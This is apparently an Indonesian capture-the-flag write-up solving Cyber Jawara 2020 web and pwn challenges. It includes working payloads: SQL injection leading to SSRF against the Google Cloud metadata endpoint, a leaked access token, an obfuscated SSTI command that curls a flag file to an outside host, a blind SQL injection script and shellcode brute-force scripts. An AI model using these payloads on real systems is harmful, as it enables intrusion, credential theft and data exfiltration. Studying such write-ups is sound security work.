Professional Documents
Culture Documents
Sauce : https://twitter.com/amsrntk3/status/1314221881352810497
Web
Toko Masker 4
api.py
import json
def get_item_list(request):
items = Item.objects.order_by('id')
items_json = serializers.serialize('json', items)
return HttpResponse(items_json, content_type='application/json')
def get_state(request):
json_data = json.loads(request.body)
selected_items = json_data['selectedItems']
total_price = 0
if len(selected_items) == 0:
return JsonResponse({'error' : 'No item selected'})
for selected_item in selected_items:
item = Item.objects.get(pk=selected_item['pk'])
selected_item['price'] = item.price
selected_item['image_path'] = item.image_path
selected_item['name'] = item.name
total_price += int(selected_item['price']) * abs(int(selected_item['quantity']))
json_data['totalPrice'] = total_price
state = encrypt(json.dumps(json_data))
return JsonResponse({'state' : state})
def get_selected_items(request):
json_data = json.loads(request.body)
state = json_data['state']
decrypted_state = decrypt(state)
return HttpResponse(decrypted_state, content_type='application/json')
def get_invoice(request):
json_data = json.loads(request.body)
state = json_data['state']
decrypted_state = decrypt(state)
json_temp = json.loads(decrypted_state)
if json_temp['totalPrice'] < 0:
return JsonResponse({'error' : 'Can\'t create invoice'})
json_temp['totalPrice'] = 0
for selected_item in json_temp['selectedItems']:
json_temp['totalPrice'] += int(selected_item['price']) *
abs(int(selected_item['quantity']))
json_temp['message'] = 'Your balance is not enough'
if json_temp['totalPrice'] <= settings.BALANCE:
satisfied = False
for selected_item in json_temp['selectedItems']:
if (int(selected_item['pk']) == settings.REQUIRED_ITEM) and
(int(selected_item['quantity']) >= settings.REQUIRED):
satisfied = True
json_temp['message'] = settings.FLAG
if not satisfied:
json_temp['message'] = 'Your balance is enough, but, no flag for you'
return HttpResponse(json.dumps(json_temp), content_type='application/json')
Tidak perlu dijelaskan detail lagi. Ini soal kembangan dari soal saat quals. Disini
vulnnya enkripsi menggunakan AES ECB dan kita dapat memanipulasi state. Berikut
payload awal state kami
DzSwymuO/1JuR59eHjOQKKVYxeQQWI8BTY2k/3Pw1PC/9HqEI0tSwvyR7jJbBYIw
WixKzHTUElqUjfPecnpnGF0k5zCYmqYBOziC6Cta6GVdJOcwmJqmATs4gugrWuhlX
STnMJiapgE7OILoK1roZXcjUvZCGN+G6nmCX1o9+FGXuW07Is6bshd8sLDRFaI5oF
8josKIjXorronDkxzqC2BD9SlW1jAJQyMwakQiSNZ1tJ29ozP+qASgyJsAqH5wFOfKp
OnWXDhCADrV+lIYyksaYoTyiveVOACxyLtJUe7EJyhGH4OlZIOaIyBnYuX/cpaA5sN6
VTyniqI8Ke5V1rLheEivtyWsQD8zAPrlm0DRzmZD1oYwvVYUBDLqHEDoT9IGfNcdp
RWWwLmHoJyEy0ZcGs5d0eCT5cMp16CK92G6cLpkrG38PzEEZmAod9xn
Lalu tinggal diganti blok-blok nya dengan blok-blok yang telah di susun :
DzSwymuO/1JuR59eHjOQKKVYxeQQWI8BTY2k/3Pw1PDEJyhGH4OlZIOaIyBnYuX/
WixKzHTUElqUjfPecnpnGF0k5zCYmqYBOziC6Cta6GVdJOcwmJqmATs4gugrWuhlX
STnMJiapgE7OILoK1roZbLheEivtyWsQD8zAPrlm0DRzmZD1oYwvVYUBDLqHEDoo
F8josKIjXorronDkxzqC2BD9SlW1jAJQyMwakQiSNZ1tJ29ozP+qASgyJsAqH5wFOfKp
OnWXDhCADrV+lIYyksaYoTyiveVOACxyLtJUe7EJyhGH4OlZIOaIyBnYuX/cpaA5sN6
VTyniqI8Ke5V1rLheEivtyWsQD8zAPrlm0DRzmZD1oYwvVYUBDLqHEDoT9IGfNcdp
RWWwLmHoJyEy0ZcGs5d0eCT5cMp16CK92G6cLpkrG38PzEEZmAod9xn
FLAG :
CJ2020{too_lazy_to_create_crypto_chall_so_I_just_use_web_chall_to_t35t_y0ur_
crypt0_5k1ll5___$%$%^^**}
CJ Travel
Diberikan url soal. Intinya dalam service kita dapat register/login serta melakukan
booking untuk penginapan/hotel. Setelah dilakukan testing, ditemukan bug SQL
Injection pada field email saat melakukan bookings. Output SQLI dapat dilihat pada pdf
yang di generate setelah booking. Contoh payload :
email=qqqw'/**/and/**/0/**/union/**/select/**/'test'/**/#@yera.ss&phone=08888888888
&guest=wwwwwwedasdadasd
Menjadi :
Setelah berjam2 kami mencoba berbagai query untuk mendapatkan flag di database.
Namun hasilnya nihil, untung saja panitia memberi hint bahwa flag berada pada google
cloud bucket. Aslinya, field email tidak di-render menjadi html, namun dengan SQLI, kita
bisa melakukan select terhadap payload HTML, kami menggunakan payload berikut
untuk mendapatkan token auth google :
qqqw'/**/and/**/0/**/union/**/select/**/'<link/**/rel="attachment"/**/href="http://metadat
a.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"
>'/**/#@yera.ss
Setelah itu kita download hasil pdf generate dari booking diatas. Dan kita lihat object
embednya. Setelah itu kami ekstrak menggunakan tools pdf-parser :
24 0 obj
<< /Type /EmbeddedFile /Length 25 0 R /Filter /FlateDecode /Params << /CheckSum
26 0 R /Size 27 0 R >> >>
--
/Outlines 21 0 R
/Names << /EmbeddedFiles 29 0 R >>
ᕦ(ò_óˇ)ᕤ rafie [final/web/travel]
→ ./pdf-parser.py -o 24 -f gggg.pdf
obj 24 0
Type: /EmbeddedFile
Referencing: 25 0 R, 26 0 R, 27 0 R
Contains stream
<<
/Type /EmbeddedFile
/Length 25 0 R
/Filter /FlateDecode
/Params
<<
/CheckSum 26 0 R
/Size 27 0 R
>>
>>
'{"access_token":"ya29.c.Kn3hB1jOmhu_CIznWdbPIyY01dgHhUFFn83UlajPa-GEnDk
jdxI_nJV8YrPRNCTulVEk26wQbvFOoNQ5IXZ7cBf39K9XP-CldhK5ls1l3vo54G2BKk9
yQ6KYPaAvl1B4sK2qpWpyb3UAW1BrRx1e1lYeC2TtmMEYC8I88z56fQ","expires_in
":2500,"token_type":"Bearer"}'
Setelah access_token didapatkan, karena flag berada pada bucket, kami melakukan
step-step ini sampai akhirnya flag didapatkan :
FLAG : CJ2020{long_journey_of_pwning_th3_cl0ud_b34f5a}
WHO
Pada chal ini, kita harus mendaftar RSVP terlebih dahulu pada laman
https://who.web.cyber.jawara.systems/rsvpmaker/covid-19-who-webinar/
Ternyata vuln nya ialah SSTI, namun terdapat beberapa filter, sehingga kita harus melakukan
bypass pada filternya.
Berikut ini adalah payload yang kita gunakan untuk mendapatkan flag:
]]# ${class.inspect('java.lang.Runtime').type.getRuntime().exec('bash -c
{echo,Y3VybCAtLWRhdGEgImE9JChjYXQgLzg4MjJkYzM0MjBlZTJhYzQyMmExMDFmOTdkMzkyN
jM3LnR4dAopIiBiNGI1Mzc2MGNkYmIyMWI2MjRhNGYzYWFhMjRkZGUwOC5tLnBpcGVkcmVhbS5u
ZXQ=}|{base64,-d}|{bash,-i}')} #[[
Hasil:
FLAG: CJ2020{congr4Tz_y0u_1nj3cteD_mY_t3mpL4te}
WHO 2
Pada method get_items terdapat sebuah baris kode yang melakukan eksekusi SQL tanpa
prepared statement maupun filter
$wpdb->query("UPDATE ".$wpdb->prefix."rsvpmaker SET amountpaid='$paid' WHERE
id=$rsvp_id ");
Lalu kita bisa merubah $rsvp_id dengan menginjeksikan sebuah payload pada rsvp_id form
data dikarenakan semua post request akan dimasukkan ke variabel $vars yang dimana
variabel $vars[‘rsvp_id’] tersebut akan dimasukkan ke variabel $rsvp_id.
$rsvp_id = $vars['rsvp_id'];
$paid = $vars['amount'];
Sehingga, kita akan memanipulasi query update tersebut untuk melakukan Blind Time Based
SQL Injection.
Petama, kita akan mengetesnya menggunakan postman. (btw, quotenya difilter jadi harus pake
hex untuk masukin string)
Kalau sudah sukses, biar gak capek kita bikin otomatisasinya uwu.
from requests import *
import string
import time
url =
"https://who.web.cyber.jawara.systems/wp-json/rsvpmaker/v1/stripesuccess/16"
## Get Columns
res = ""
ctr = 1
while True:
for i in chara:
data = {
'rsvp_id': p1.format(ctr, i.encode('hex')),
'amount': 1
}
start = time.time()
r = post(url, data=data)
end = time.time()
if (end - start) > 4:
res += i
ctr += 1
print 'nice {}'.format(res)
break
## Get FLAG
res = ""
ctr = 1
while True:
for i in chara:
data = {
'rsvp_id': p2.format(ctr, i.encode('hex')),
'amount': 1
}
start = time.time()
r = post(url, data=data)
end = time.time()
if (end - start) >= 2:
res += i
ctr += 1
print 'nice {}'.format(res)
break
Fyi, ini scriptnya harus dirun berkali-kali karena servernya gak stabil .-.
Akhirnya dapet flag nice
FLAG: CJ2020{b4ny4k_BuG!}
Pwn
No syscall
Kami menduga bahwa output informasi alamat flag berasal dari fungsi printf dan
address flag yang diberikan di bss. Kami lalu mencoba melakukan jump dari PLT printf
dengan argumen flag. Karena lokasi PLT printf tidak diketahui secara pasti, maka kami
melakukan brute force plt dengan script di bawah. Karena jarak antara bss dan bagian
code binary 0x3000 bytes, maka tiga nibble terakhir dari address flag dibuat 0 dan
ditambahkan untuk menyesuaikan address PLT
shell = """
movabs rdi, {}
mov rax, rdi
sub rax, 0x3000
and rax, 0xfffffffffffff000
add rax, {}
jmp rax
"""
c = 0x0
while 1:
xx = 1
while xx:
try:
r = remote("1337.cyber.jawara.systems", 2001)
r.recvuntil("flag: ")
flag_addr = int(r.recvline()[:-1], 16)
print hex(flag_addr)
print hex(c)
s = asm(shell.format(hex(flag_addr), hex(c)))
c += 0x10
r.sendlineafter(": ", s)
a = ''
res = r.recv()
a = res
print res
xx = 0
except:
pass
finally:
r.close()
Namun, setelah mencoba beberapa lama dan selalu gagal, kami memperhatikan
address flag lagi. Karena 3 nibble terakhir sangat besar (0x8c4), kami menduga bahwa
alamat tersebut adalah alamat heap. Jarak antara heap dan segment code pada binary
selalu berubah dan tidak dapat ditebak.
Kami lalu mencoba mencari alamat binary di dalam stack. Karena kami tidak bisa
melakukan leak, kami mencoba lompat ke alamat return address dengan opcode
“leave; ret” menggunakan script di bawah
1sv.py
from pwn import *
context.arch = 'amd64'
shell = """
leave
mov rax, QWORD PTR [rsp]
jmp rax
"""
while 1:
xx = 1
while xx:
try:
r = remote("1337.cyber.jawara.systems", 2001)
r.recvuntil("flag: ")
flag_addr = int(r.recvline()[:-1], 16)
print hex(flag_addr)
s = asm(shell)
r.sendlineafter(": ", s)
a = ''
res = r.recv()
a = res
print res
xx = 0
except:
pass
finally:
r.close()
Karena tidak ada output error segmentation fault atau illegal instruction, kami menduga
alamat di RAX sudah benar. Lalu sama sepeti cara sebelumnya, kami membuat 3
nibble terakhir di RAX menjadi 0 dan melakukan brute force menambahkan dengan nilai
0x10 untuk memanggil printf.
2sv.py
from pwn import *
context.arch = 'amd64'
shell = """
leave
movabs rdi, {}
mov rax, QWORD PTR [rsp]
and rax, 0xfffffffffffff000
add rax, {}
jmp rax
"""
c = 0x120
while 1:
xx = 1
while xx:
try:
r = remote("1337.cyber.jawara.systems", 2001)
r.recvuntil("flag: ")
flag_addr = int(r.recvline()[:-1], 16)
print hex(flag_addr)
print hex(c)
s = asm(shell.format(hex(flag_addr), hex(c)))
c += 0x10
r.sendlineafter(": ", s)
a = ''
res = r.recv()
a = res
print res
xx = 0
except:
pass
finally:
r.close()
Menariknya, saat script diatas dijalankan, pada offset ke 0x1b0 dan 0x1f0 kami
mendapatkan output yang dapat dilihat pada gambar di bawah
Output tersebut sama seperti output libc saat di-run
Kami lalu mendownload libc dengan versi sesuai dengan output tersebut (Ubuntu
GLIBC 2.31-0ubuntu9.1) di libc.blukat.me. Saat libc tersebut dibuka dan dicari entry
point di gdb, offset address tersebut sama dengan offset brute force yang
mengeluarkan informasi libc (0x1f0)
Kami menduga bahwa address return yang sebelumnya kami kira address fungsi main
pada binary merupakan address __libc_start_main karena informasi symbol pada
address 0x55555557b000 merupakan __libc_start_main+64.
Karena informasi libc tersebut dikeluarkan dengan memakai fungsi write, kami
membuat shellcode yang akan lompat ke fungsi tersebut sehingga program akan
memanggil write(1, flag, 50). Berikut script yang kami gunakan
sv.py
from pwn import *
context.arch = 'amd64'
shell = """
leave
mov rax, QWORD PTR [rsp]
and rax, 0xfffffffffffff000
add rax, 0x20b
xor rdi, rdi
inc dil
movabs rsi, {}
xor rdx, rdx
mov dl, 50
call rax
"""
while 1:
xx = 1
while xx:
try:
r = remote("1337.cyber.jawara.systems", 2001)
r.recvuntil("flag: ")
flag_addr = int(r.recvline()[:-1], 16)
print hex(flag_addr)
s = asm(shell.format(hex(flag_addr)))
r.sendlineafter(": ", s)
a = ''
res = r.recv()
a = res
print res
xx = 0
except:
pass
finally:
r.close()
FLAG: CJ2020{~51d3#ch4NnEl~}